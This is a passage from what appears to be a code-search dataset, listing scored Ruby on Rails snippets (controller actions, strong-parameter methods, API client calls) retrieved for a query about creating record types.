"docid": "91d97873cee80db363293b3da6dcfae5",
"score": "0.5623576",
"text": "def winetype_params\n params.require(:winetype).permit(:name, {:wine_ids => []})\n end",
"title": ""
},
{
"docid": "4edd19c42e7b32aaf30aa50f261f5af2",
"score": "0.5563149",
"text": "def create_types\n\t\t[]\n\tend",
"title": ""
},
{
"docid": "70bbcc364e7b409f10e4e9511536431f",
"score": "0.555003",
"text": "def post(rectype,attribs,http)\r\n endpoint=\"#{URL_PREFIX}/t#{rectype}s.json\"\r\n req = Net::HTTP::Post.new(endpoint,initheader = {'Content-Type' =>'application/json'})\r\n req.body = attribs.to_json\r\n http.request(req)\r\nend",
"title": ""
},
{
"docid": "2ade20c075538fac68c65b40fc5d7171",
"score": "0.5532818",
"text": "def parse_types; end",
"title": ""
},
{
"docid": "0d5839bf14ba8f093cf43163b6d9921f",
"score": "0.55179226",
"text": "def parse_types=(types); end",
"title": ""
},
{
"docid": "65de4954ff0aaf9c6ff073de954c89bc",
"score": "0.5503073",
"text": "def requested_types; end",
"title": ""
},
{
"docid": "0eddb4e72161708ddb58b6ec39fd69c8",
"score": "0.5501557",
"text": "def data_type_params\n params.require(:data_type).permit(:name, :plainformat, :senml)\n end",
"title": ""
},
{
"docid": "c350f66bf32203b76baee6a94fc5ff17",
"score": "0.54854393",
"text": "def create\n @type = Type.new(params[:type])\n respond_to do |format|\n if @type.save\n andtext = \"\"\n if params[:lts].present?\n n = 0\n locs = []\n params[:lts].split(/:/).each{ |ltid|\n lt = LocationsType.find(ltid.to_i)\n lt.type_other = nil\n lt.type = @type\n lt.save\n locs << lt.location\n }\n locs.uniq.each{ |loc|\n n += 1\n ApplicationController.cluster_increment(loc,[@type.id])\n }\n format.html { redirect_to grow_types_path, notice: \"Type was successfully created and #{n} locations were updated to use this new type.\" }\n format.json { render json: @type, status: :created, location: @type }\n else\n format.html { redirect_to types_path, notice: \"Type was successfully created.\" }\n format.json { render json: @type, status: :created, location: @type }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9d98f1efe54eb3a3d15321fcb0c6a9f",
"score": "0.5468465",
"text": "def create\n @type = Type.new(type_params)\n respond_to do |format|\n if @type.save\n format.html { redirect_to admin_types_url, notice: 'Добавлен новый тип девайсов.' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "faed93dd30a8dd9799cdba439a692725",
"score": "0.5466896",
"text": "def create_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end",
"title": ""
},
{
"docid": "d22b50277fd5b58341386562d1e7001f",
"score": "0.5456509",
"text": "def destroy\n @linetype = Linetype.find(params[:id])\n @linetype.destroy\n\n respond_to do |format|\n format.html { redirect_to(linetypes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d34e75b0384efa248db6229aba90ae12",
"score": "0.54511595",
"text": "def redila_type_params\n params.require(:redila_type).permit(:name, :model_part, :status)\n end",
"title": ""
},
{
"docid": "9a75192d16a82eb5927086b3704a6253",
"score": "0.5414873",
"text": "def add_type(type)\n end",
"title": ""
},
{
"docid": "9a75192d16a82eb5927086b3704a6253",
"score": "0.5414873",
"text": "def add_type(type)\n end",
"title": ""
},
{
"docid": "a2c7a1197f9943e0631783dbd9a98afe",
"score": "0.5413566",
"text": "def create\n @type = Type.new(params[:type])\n @type.category_mask = array_to_mask(params[\"categories\"],Type::Categories)\n respond_to do |format|\n if @type.save\n # FIXME: Quietly removes parent from children (throw error instead?)\n add_child_ids = s_to_i_array(params[:children_ids]) - s_to_i_array(params[:type][:parent_id])\n add_child_ids.each { |id|\n @child = Type.find(id)\n @child.parent_id = @type.id\n @child.save\n }\n if @type.pending\n format.html { redirect_to grow_types_path, notice: \"Type #{@type.id} was successfully created.\" }\n else\n format.html { redirect_to types_path, notice: \"Type #{@type.id} was successfully created.\" }\n end\n format.json { render json: @type, status: :created, location: @type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0974d32c7d047b478ae3274641bd842a",
"score": "0.541234",
"text": "def create\n @taxe_type = Taxe::Type.new(params[:taxe_type])\n\n respond_to do |format|\n if @taxe_type.save\n format.html { redirect_to(@taxe_type, :notice => 'Type was successfully created.') }\n format.xml { render :xml => @taxe_type, :status => :created, :location => @taxe_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @taxe_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca8c714c0efab250e4fed7c9d1092902",
"score": "0.5407311",
"text": "def create\n @type = Type.new(type_params)\n if @type.save\n render json: @type, status: :created\n else\n render json: @type.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "52484b648895cd84a8b1a775428687c3",
"score": "0.53962433",
"text": "def add_type (type)\n end",
"title": ""
},
{
"docid": "14deefc252d48ae57cd0abd2da83a014",
"score": "0.5388019",
"text": "def index\n @line_types = LineType.all\n\n render json: @line_types\n end",
"title": ""
},
{
"docid": "6286849f011920ab9fdae3b6829cdcb3",
"score": "0.53792673",
"text": "def create\n @type_resource = TypeResource.new(type_resource_params)\n\n respond_to do |format|\n if @type_resource.save\n format.html { redirect_to @type_resource, notice: 'EL tipo de recurso fue cread éxitosamente.' }\n format.json { render :show, status: :created, location: @type_resource }\n else\n format.html { render :new }\n format.json { render json: @type_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "56dcc20570085ad6abf758a3556c9dbd",
"score": "0.53700614",
"text": "def types(filter = {})\n request('types', filter).map { |ent| Type.create(ent) }\n end",
"title": ""
},
{
"docid": "78578cd5b258af2cf241aa5c2819a94f",
"score": "0.5367512",
"text": "def type_params\n params.require(:entry_type).permit(:name, :is_default, :position, :value_type, :diff_entry_type1_id, :diff_entry_type2_id)\n end",
"title": ""
},
{
"docid": "04bc03092d2095eda7939f08cf991c6d",
"score": "0.5358223",
"text": "def type_params\n params.require(:type).permit(:type)\n end",
"title": ""
},
{
"docid": "fa43fd43d8df280a51270bf03e26c7c5",
"score": "0.53445876",
"text": "def create\n @type = Type.new(params[:type])\n\n respond_to do |format|\n if @type.save\n format.html { redirect_to(types_path(:type_id => @type.id), :notice => 'Type was successfully created.') }\n format.xml { render :xml => @type, :status => :created, :location => @type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c839e5ad01fc64c805b5539fa085e53",
"score": "0.53426415",
"text": "def create\n @type_request = TypeRequest.new(type_request_params)\n\n respond_to do |format|\n if @type_request.save\n format.html { redirect_to @type_request, notice: 'Type request was successfully created.' }\n format.json { render :show, status: :created, location: @type_request }\n else\n format.html { render :new }\n format.json { render json: @type_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "590361d07aa4bdd0ab0bd5725ee2fbbc",
"score": "0.53377944",
"text": "def t_type_params\n params.require(:t_type).permit(:name, :fields, :priority, :children, :relations, :extras)\n end",
"title": ""
},
{
"docid": "97b16d0c7ea339b736bc012399177b29",
"score": "0.5325877",
"text": "def create\n @winetype = Winetype.new(winetype_params)\n\n respond_to do |format|\n if @winetype.save\n format.html { redirect_to @winetype, notice: 'Winetype was successfully created.' }\n format.json { render :show, status: :created, location: @winetype }\n else\n format.html { render :new }\n format.json { render json: @winetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2056959832fd318192e100b772bc1c17",
"score": "0.53102773",
"text": "def create\n @type = Type.new(params[:type])\n\n respond_to do |format|\n if @type.save\n format.html { redirect_to admin_types_path, notice: 'Type was successfully created.' }\n format.json { render json: @type, status: :created, location: @type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c60ea787e14b2841196e9c3d00226a4",
"score": "0.53068525",
"text": "def update\n @linetype = Linetype.find(params[:id])\n\n respond_to do |format|\n if @linetype.update_attributes(params[:linetype])\n format.html { redirect_to(@linetype, :notice => 'Linetype was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @linetype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9bcb49796ec13bfa36ca8cd235f9eee8",
"score": "0.52989167",
"text": "def upload_redline_params\n params.require(:redline).permit(:xml)\n end",
"title": ""
},
{
"docid": "acf7ef48307e27806d8fb1d86c818fc7",
"score": "0.5289571",
"text": "def create\n @subsidy_type = SubsidyType.new(params[:subsidy_type])\n\n respond_to do |format|\n if @subsidy_type.save\n format.html { redirect_to @subsidy_type, notice: 'Тип материальной выплаты успешно добавлен.' }\n format.json { render json: @subsidy_type, status: :created, location: @subsidy_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subsidy_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c6524326092bff906276805a76ce543",
"score": "0.5278407",
"text": "def create\n @request_type = RequestType.new(params[:request_type])\n\n respond_to do |format|\n if @request_type.save\n format.html { redirect_to @request_type, notice: 'Request type was successfully created.' }\n format.json { render json: @request_type, status: :created, location: @request_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5ae089a4e930fb051d08b813064ef48",
"score": "0.52714103",
"text": "def create\n type = Type.create!(type_params)\n json_response(type, :created)\n end",
"title": ""
},
{
"docid": "95f8297f00a0f27e3702094b16bc4b35",
"score": "0.52665555",
"text": "def show\n @linetype = Linetype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @linetype }\n end\n end",
"title": ""
},
{
"docid": "94225347820969d6a2050ff684fe0c2b",
"score": "0.52662504",
"text": "def create\n @tracing_type = TracingType.new(tracing_type_params)\n\n respond_to do |format|\n if @tracing_type.save\n format.html { redirect_to @tracing_type, notice: 'Tracing type was successfully created.' }\n format.json { render :show, status: :created, location: @tracing_type }\n else\n format.html { render :new }\n format.json { render json: @tracing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f0582ff0b7847d32ae76871f5ea0683",
"score": "0.52588934",
"text": "def tracing_type_params\n params.require(:tracing_type).permit(:id, :descripcion, :fecha_creacion)\n end",
"title": ""
},
{
"docid": "b4a75a1d0877c5bb92e54b2fab2a799c",
"score": "0.52550673",
"text": "def create\n @attribute_type = AttributeType.new(params[:attribute_type])\n\n respond_to do |format|\n if @attribute_type.save\n format.html { redirect_to admin_attribute_types_url, notice: 'Attribute type was successfully created.' }\n format.json { render json: @attribute_type, status: :created, location: @attribute_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attribute_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f97eecc0e76b5b21d8702a10c1e6453",
"score": "0.5249181",
"text": "def create\n unless params.has_key?(\"type_name\")\n render json: {\n :error => \"Missing params\"\n }, :status => :bad_request\n return\n end\n\n # Create the new type\n @type = Type.new(\n type_name: params[:type_name]\n )\n\n @type.save!\n render json: @type, :status => :ok\n\n end",
"title": ""
},
{
"docid": "5870c8e9b7bc7ecf4c9e2c45c83f136c",
"score": "0.5243945",
"text": "def normalize_create_types(params)\n type_ids = []\n\n params[:types].split(/\\s*,\\s*/).uniq.each{ |type_name|\n nf = Type.i18n_name_field\n tn = ActiveRecord::Base.connection.quote(ActionController::Base.helpers.sanitize(type_name))\n t = Type.where(\"(COALESCE(#{nf}, name) || CASE WHEN scientific_name IS NULL THEN '' ELSE ' ['||scientific_name||']' END)=#{tn}\")\n\n # if it's not found, make it a pending type\n if t.nil? or t.empty?\n t = Type.new\n t.name = type_name\n t.pending = true # this is database default, but setting here just in case\n t.category_mask = params[:c].blank? ? array_to_mask([\"forager\"],Type::Categories) :\n array_to_mask(params[:c].split(/,/),Type::Categories)\n t.save\n else\n t = t.first\n end\n type_ids.push t.id\n } if params[:types].present?\n\n logger.debug params[:location][:type_ids]\n\n if params[:location].present? and params[:location][:type_ids].present?\n v = []\n if params[:location][:type_ids].kind_of? Hash\n v = params[:location][:type_ids].values.map{ |x| x.to_i }\n elsif params[:location][:type_ids].kind_of? Array\n v = params[:location][:type_ids].map{ |x| x.to_i }\n else\n # if we couldn't get it in a reasonable format, delete it\n params[:location].delete(:type_ids)\n end\n logger.debug Type.ids\n logger.debug v\n type_ids += (v & Type.ids) if v.length > 0\n end\n\n logger.debug \"TYPES!\"\n logger.debug type_ids\n type_ids\n end",
"title": ""
},
{
"docid": "cc7021def75aaedcbea80e4bf96517b2",
"score": "0.5239809",
"text": "def create (type, name)\n params = {\n :type => type\n }\n requires params\n params[:name] = name\n DataSift.request(:POST, 'list/create', @config, params)\n end",
"title": ""
},
{
"docid": "be3fa52901da3fc2ce12f1205b2b7d6c",
"score": "0.5231364",
"text": "def create_types\n\t[Location]\nend",
"title": ""
},
{
"docid": "c6a9b8135e6265597fa2cc13e3b86a49",
"score": "0.52197075",
"text": "def create\n @type = Type.new(params[:type])\n\n respond_to do |format|\n if @type.save\n flash[:notice] = 'Type was successfully created.'\n format.html { redirect_to(@type) }\n format.xml { render :xml => @type, :status => :created, :location => @type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "597d6b07e0e999f754fb8134b6094a14",
"score": "0.52035403",
"text": "def create\n @entry_type = EntryType.new(type_params)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Type was successfully created.' }\n format.json { render :show, status: :created, location: @entry_type }\n else\n format.html { render :new }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c25980edd0adb7d0d6d37e037faf2a78",
"score": "0.52012",
"text": "def status_type_params\n params.require(:status_type).permit(:StatusTypecode, :description, :ispending)\n end",
"title": ""
},
{
"docid": "22a06eef4c7b4f6c634553314d9da19c",
"score": "0.5187799",
"text": "def create_types\n\t[Domain]\nend",
"title": ""
},
{
"docid": "6d08cd6c42d7490d9bf350bf6ea635d2",
"score": "0.5185851",
"text": "def create\n @element_type = ElementType.new(element_type_params)\n\n if @element_type.save\n render json: @element_type, status: :created, location: @element_type\n else\n render json: @element_type.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f3b4bc715b4f89f5301379968ed68aa4",
"score": "0.51788026",
"text": "def get_line_types\n @lines.line_types\n end",
"title": ""
},
{
"docid": "09dd476f703595868b346b090c0b7d3c",
"score": "0.517572",
"text": "def create\n @rsvt_type = RsvtType.new(params[:rsvt_type])\n\n respond_to do |format|\n if @rsvt_type.save\n format.html { redirect_to rsvt_types_path, notice: \"#{I18n.t \"html.save_success\"}\" }\n format.json { render json: @rsvt_type, status: :created, location: @rsvt_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rsvt_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "679fc4c04018ebe6c8f5886cdd23005a",
"score": "0.5174791",
"text": "def new_type_attributes=(params)\n params.each do |attr|\n resource_type_attributes.build(attr)\n end\n end",
"title": ""
},
{
"docid": "90399fced8bd5613267db234b900acba",
"score": "0.51741886",
"text": "def set_TypeIDs(value)\n set_input(\"TypeIDs\", value)\n end",
"title": ""
},
{
"docid": "f5835b33c8422848563c98b69b6d72c8",
"score": "0.51718134",
"text": "def users_types\n call_path = \"users/types\"\n request = \"\"\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end",
"title": ""
},
{
"docid": "4e5ab19565e6890a540f56286820b41e",
"score": "0.5168752",
"text": "def add_type(type)\n\n # nothing to do\n end",
"title": ""
},
{
"docid": "aacec0de95b71e6dc2ba7808464237ac",
"score": "0.51648283",
"text": "def serie_type_params\n params.require(:serie_type).permit(:name)\n end",
"title": ""
},
{
"docid": "2b0f23cfe18e5e0e559d5da36d829d3b",
"score": "0.51630425",
"text": "def create\n @redila_type = RedilaType.new(redila_type_params)\n\n respond_to do |format|\n if @redila_type.save\n format.html { redirect_to redila_types_path, notice: 'Redila type was successfully created.' }\n format.json { render :show, status: :created, location: @redila_type }\n else\n format.html { render :new }\n format.json { render json: @redila_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0b1b13db58c8a5888973ec24745550f5",
"score": "0.51606226",
"text": "def type_resource_params\n params.require(:type_resource).permit(:code, :name, :pedagogic, :movil)\n end",
"title": ""
},
{
"docid": "5524c28a87b60a5c54bc86b5bb80b385",
"score": "0.5156833",
"text": "def pbSaveTrainerTypes\n data = pbLoadTrainerTypesData\n return if !data\n File.open(\"PBS/trainertypes.txt\",\"wb\") { |f|\n f.write(0xEF.chr)\n f.write(0xBB.chr)\n f.write(0xBF.chr)\n f.write(\"\\# \"+_INTL(\"See the documentation on the wiki to learn how to edit this file.\"))\n f.write(\"\\r\\n\")\n f.write(\"\\#-------------------------------\\r\\n\")\n for i in 0...data.length\n record = data[i]\n next if !record\n dataline = sprintf(\"%d,%s,%s,%d,%s,%s,%s,%s,%s,%s\",\n i,record[1],record[2],\n record[3],\n record[4] ? record[4] : \"\",\n record[5] ? record[5] : \"\",\n record[6] ? record[6] : \"\",\n record[7] ? [\"Male\",\"Female\",\"Mixed\"][record[7]] : \"Mixed\",\n (record[8]!=record[3]) ? record[8] : \"\",\n record[9] ? record[9] : \"\")\n f.write(dataline)\n f.write(\"\\r\\n\")\n end\n }\nend",
"title": ""
},
{
"docid": "04d9fe7433fcb4339c4aec33c3b949c9",
"score": "0.5154163",
"text": "def create\n @list_type = ListType.new(list_type_params)\n\n respond_to do |format|\n if @list_type.save\n format.html { redirect_to @list_type, notice: 'List type was successfully created.' }\n format.json { render :show, status: :created, location: @list_type }\n else\n format.html { render :new }\n format.json { render json: @list_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "13752b6b0db863d7dd33ddd65e3d251c",
"score": "0.5150961",
"text": "def create\n @offtype = current_ou.offtypes.new(offtype_params)\n\n respond_to do |format|\n if @offtype.save\n format.html { redirect_to offtypes_path, notice: 'Offtype was successfully created.' }\n format.json { render :show, status: :created, location: @offtype }\n else\n format.html { render :new }\n format.json { render json: @offtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "24aeb9de224f5f89f0f92344362eac75",
"score": "0.5149937",
"text": "def addType(type_name)\n type = Type.new\n type.name = type_name\n type.save!\n end",
"title": ""
},
{
"docid": "11c530c8ad8e440b9618d25e803b89b2",
"score": "0.5147605",
"text": "def order_types\n url = \"#{@url}reference/order-types\"\n make_request(url)\n end",
"title": ""
},
{
"docid": "acef2848db599f3bcef2d4319833821d",
"score": "0.51402545",
"text": "def create\n @word_type = WordType.new(params[:word_type])\n\n respond_to do |format|\n if @word_type.save\n format.html { redirect_to word_types_path, notice: 'El nuevo tipo de palabra se creo satisfactoriamente.' }\n format.json { render json: word_types_path, status: :created, location: @word_type }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"title": ""
},
{
"docid": "358108e39dd56e2dbe095ae5637fbd00",
"score": "0.5139479",
"text": "def create\n \n @request_type = current_emp.request_types.build(request_type_params)\n\n if @request_type.save\n flash[:success]=\"Tipo de solicitud creada correctamente\"\n redirect_to request_types_path\n else \n render :new \n end\n \n end",
"title": ""
},
{
"docid": "6a88b83571d2092bf3e829f601a5ec6f",
"score": "0.5138095",
"text": "def type_params\n params.require(:type).permit(:name)\n end",
"title": ""
},
{
"docid": "6a88b83571d2092bf3e829f601a5ec6f",
"score": "0.5138095",
"text": "def type_params\n params.require(:type).permit(:name)\n end",
"title": ""
},
{
"docid": "74186bac469563487a65f6e663570048",
"score": "0.5135416",
"text": "def create\n @field_type = get_field_type\n @data_types = FieldType.data_types_list.map {|k, v| [v, k]}\n if @field_type.save and not request.xhr?\n flash[:notice] = t('create.success', :scope => get_i18n_scope)\n end\n respond_with @event, @field_type, :location => {:action => 'index'}\n end",
"title": ""
},
{
"docid": "f29a096a71fa099ab98f4a230274f115",
"score": "0.51323354",
"text": "def set_Types(value)\n set_input(\"Types\", value)\n end",
"title": ""
},
{
"docid": "f29a096a71fa099ab98f4a230274f115",
"score": "0.51323354",
"text": "def set_Types(value)\n set_input(\"Types\", value)\n end",
"title": ""
},
{
"docid": "f29a096a71fa099ab98f4a230274f115",
"score": "0.51323354",
"text": "def set_Types(value)\n set_input(\"Types\", value)\n end",
"title": ""
},
{
"docid": "f29a096a71fa099ab98f4a230274f115",
"score": "0.51323354",
"text": "def set_Types(value)\n set_input(\"Types\", value)\n end",
"title": ""
},
{
"docid": "a5e21ca71e10525baac77a0f2dcdf355",
"score": "0.51322716",
"text": "def index\n @type_requests = TypeRequest.all\n end",
"title": ""
},
{
"docid": "bf968f8815f9f18f5d36904cbf02d598",
"score": "0.5127607",
"text": "def create\n @request_type = RequestType.new(request_type_params)\n\n respond_to do |format|\n if @request_type.save\n format.html { redirect_to @request_type, notice: t('controller.successfully_created', model: t('activerecord.models.request_type')) }\n format.json { render json: @request_type, status: :created, location: @request_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4dd5b928ee9e39a4ac40ef46ff2975e",
"score": "0.51227087",
"text": "def create\n @data_type = DataType.new(params[:data_type])\n\n respond_to do |format|\n if @data_type.save\n flash[:notice] = 'File type was successfully created.'\n format.html { redirect_to(data_types_path) }\n format.xml { render :xml => @data_type, :status => :created, :location => @data_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @data_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bf2d74fcdc083d7a4f4d36da0f25ee3",
"score": "0.5122363",
"text": "def generic_type_params\n params.require(:generic_type).permit(:generic_type_name, :data_source_id, :status)\n end",
"title": ""
},
{
"docid": "3acb0a46ef6b6fdbfbb0bf75d63d5002",
"score": "0.51191586",
"text": "def create\n @attribute_type = AttributeType.new(params[:attribute_type])\n\n respond_to do |format|\n if @attribute_type.save\n format.html { redirect_to @attribute_type, :notice => 'Attribute type was successfully created.' }\n format.json { render :json => @attribute_type, :status => :created, :location => @attribute_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @attribute_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e4543084aeba0a961020d149e77b09f",
"score": "0.5118448",
"text": "def type_params\n params.require(:type).permit(:name)\t\n end",
"title": ""
},
{
"docid": "b1934868282391621e1554f9ac829ea2",
"score": "0.51095784",
"text": "def add_type(type)\n\n # nothing to be done\n end",
"title": ""
},
{
"docid": "a3b279d3922d6849e3ba9fe23c8d10cc",
"score": "0.51094913",
"text": "def create\n @typexp = Typexp.new(params[:typexp])\n\n respond_to do |format|\n if @typexp.save\n flash[:notice] = 'Typexp was successfully created.'\n format.html { redirect_to(@typexp) }\n format.xml { render :xml => @typexp, :status => :created, :location => @typexp }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @typexp.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "547499f3f981c29e9cf6114f1cb9deda",
"score": "0.5106386",
"text": "def create\n @type = Type.new(type_params)\n\n respond_to do |format|\n if @type.save\n format.html { redirect_to @type, notice: 'Type was successfully created.' }\n format.json { render :show, status: :created, location: @type }\n else\n format.html { render :new }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "547499f3f981c29e9cf6114f1cb9deda",
"score": "0.5106386",
"text": "def create\n @type = Type.new(type_params)\n\n respond_to do |format|\n if @type.save\n format.html { redirect_to @type, notice: 'Type was successfully created.' }\n format.json { render :show, status: :created, location: @type }\n else\n format.html { render :new }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c74ced4d77748fc0c08a9c1405e4088",
"score": "0.5103807",
"text": "def update\n @line_type = LineType.find(params[:id])\n\n if @line_type.update(line_type_params)\n head :no_content\n else\n render json: @line_type.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f4ab246357d1b9a6fbe43b2f26a8beae",
"score": "0.51015705",
"text": "def types\n contact_method = JSON.parse(connection.get(\"/Relationship/Types\").body )\n end",
"title": ""
},
{
"docid": "f83628941e92cdb16790db26b6e0db52",
"score": "0.5101037",
"text": "def leisure_type_params\n params.require(:leisure_type).permit(:leisure_type_name)\n end",
"title": ""
},
{
"docid": "81b47def549365544594e474b5423783",
"score": "0.5094261",
"text": "def create\n @status_type = StatusType.new(status_type_params)\n\n respond_to do |format|\n if @status_type.save\n format.html { redirect_to @status_type, notice: 'Status type was successfully created.' }\n format.json { render :show, status: :created, location: @status_type }\n else\n format.html { render :new }\n format.json { render json: @status_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bb2733be810a7916b9085c97914c83f1",
"score": "0.50883996",
"text": "def create\n @status_type = StatusType.new(params[:status_type])\n\n respond_to do |format|\n if @status_type.save\n flash[:notice] = 'Status Type was successfully created.'\n format.html { redirect_to(@status_type) }\n format.xml { render :xml => @status_type, :status => :created, :location => @place }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @status_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e9a0a88396277f50ba9deaeed8fcdb01",
"score": "0.5088328",
"text": "def allowed_types; end",
"title": ""
},
{
"docid": "e9a0a88396277f50ba9deaeed8fcdb01",
"score": "0.5088328",
"text": "def allowed_types; end",
"title": ""
},
{
"docid": "64724ccbaff75184ba44af24a2dae2f9",
"score": "0.5086478",
"text": "def create\n @partner_type = PartnerType.new(partner_type_params)\n\n respond_to do |format|\n if @partner_type.save\n format.html { redirect_to @partner_type, notice: 'Partner type was successfully created.' }\n format.json { render :show, status: :created, location: @partner_type }\n else\n format.html { render :new }\n format.json { render json: @partner_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "00f5dd3bd84abbcb523d6f26263db21b",
"score": "0.5085963",
"text": "def create\n @resource_type = ResourceType.new(params[:resource_type])\n\n respond_to do |format|\n if @resource_type.save\n format.html { redirect_to @resource_type, :notice => 'Resource type was successfully created.' }\n format.json { render :json => @resource_type, :status => :created, :location => @resource_type }\n format.xml { render :xml => @resource_type, :status => :created, :location => @resource_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @resource_type.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @resource_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7ebb7773c44b665f06168321e968808",
"score": "0.50857013",
"text": "def precedence_type_params\n params.require(:precedence_type).permit(:name, :description)\n end",
"title": ""
},
{
"docid": "bda4abf61fc190e2a3bd15807f35ec9d",
"score": "0.50856674",
"text": "def fee_types\n @client.make_request :get, settings_path('fee-types')\n end",
"title": ""
},
{
"docid": "d7d76941472d2b1d05ca3b87012872c3",
"score": "0.50849086",
"text": "def layer_type_params\n params.require(:layer_type).permit(:name)\n end",
"title": ""
},
{
"docid": "83016c5b70a5d5da758a80c52367ccc7",
"score": "0.5084884",
"text": "def create\n @extra_type = ExtraType.new(params[:extra_type])\n\n respond_to do |format|\n if @extra_type.save\n format.html { redirect_to(@extra_type, :notice => 'Extra type was successfully created.') }\n format.xml { render :xml => @extra_type, :status => :created, :location => @extra_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @extra_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa2700fe1c393a7584feaeb2ebbbcd75",
"score": "0.5083269",
"text": "def create\n @layer_type = LayerType.new(layer_type_params)\n\n respond_to do |format|\n if @layer_type.save\n format.html { redirect_to @layer_type, notice: 'Layer type was successfully created.' }\n format.json { render :show, status: :created, location: @layer_type }\n else\n format.html { render :new }\n format.json { render json: @layer_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff2430c21b6533f8a173e956d7013f67",
"score": "0.50811046",
"text": "def types(file, line, col)\n run do |client|\n res = client.type_definitions(to_uri(file), line.to_i, col.to_i)\n say(\"Type for `#{file}:#{line}:#{col}`:\")\n symbol_printer.print_list(res)\n end\n end",
"title": ""
},
{
"docid": "8fb1cec4b44b57d0f89a075b7b464546",
"score": "0.5080234",
"text": "def create\n @edge_type = EdgeType.new(params[:edge_type])\n\n respond_to do |format|\n if @edge_type.save\n format.html { redirect_to(@edge_type, :notice => 'Edge type was successfully created.') }\n format.xml { render :xml => @edge_type, :status => :created, :location => @edge_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @edge_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b5d1cd2e7589fb49dda971aaa39750b",
"score": "0.5074768",
"text": "def create\n respond_with ListType.create(list_type_params)\n end",
"title": ""
},
{
"docid": "2a704a11992a91d22b7ea8d7cbd59883",
"score": "0.50741684",
"text": "def myb_sup_evl_quest_type_params\n params.require(:myb_sup_evl_quest_type).permit(:Type)\n end",
"title": ""
}
] |
7dee11e2b815e83f5448930b5af30440 | GET /reviews/1/up GET /reviews/1/up.json | [
{
"docid": "3def174415216596e58e1f46ae980a7a",
"score": "0.0",
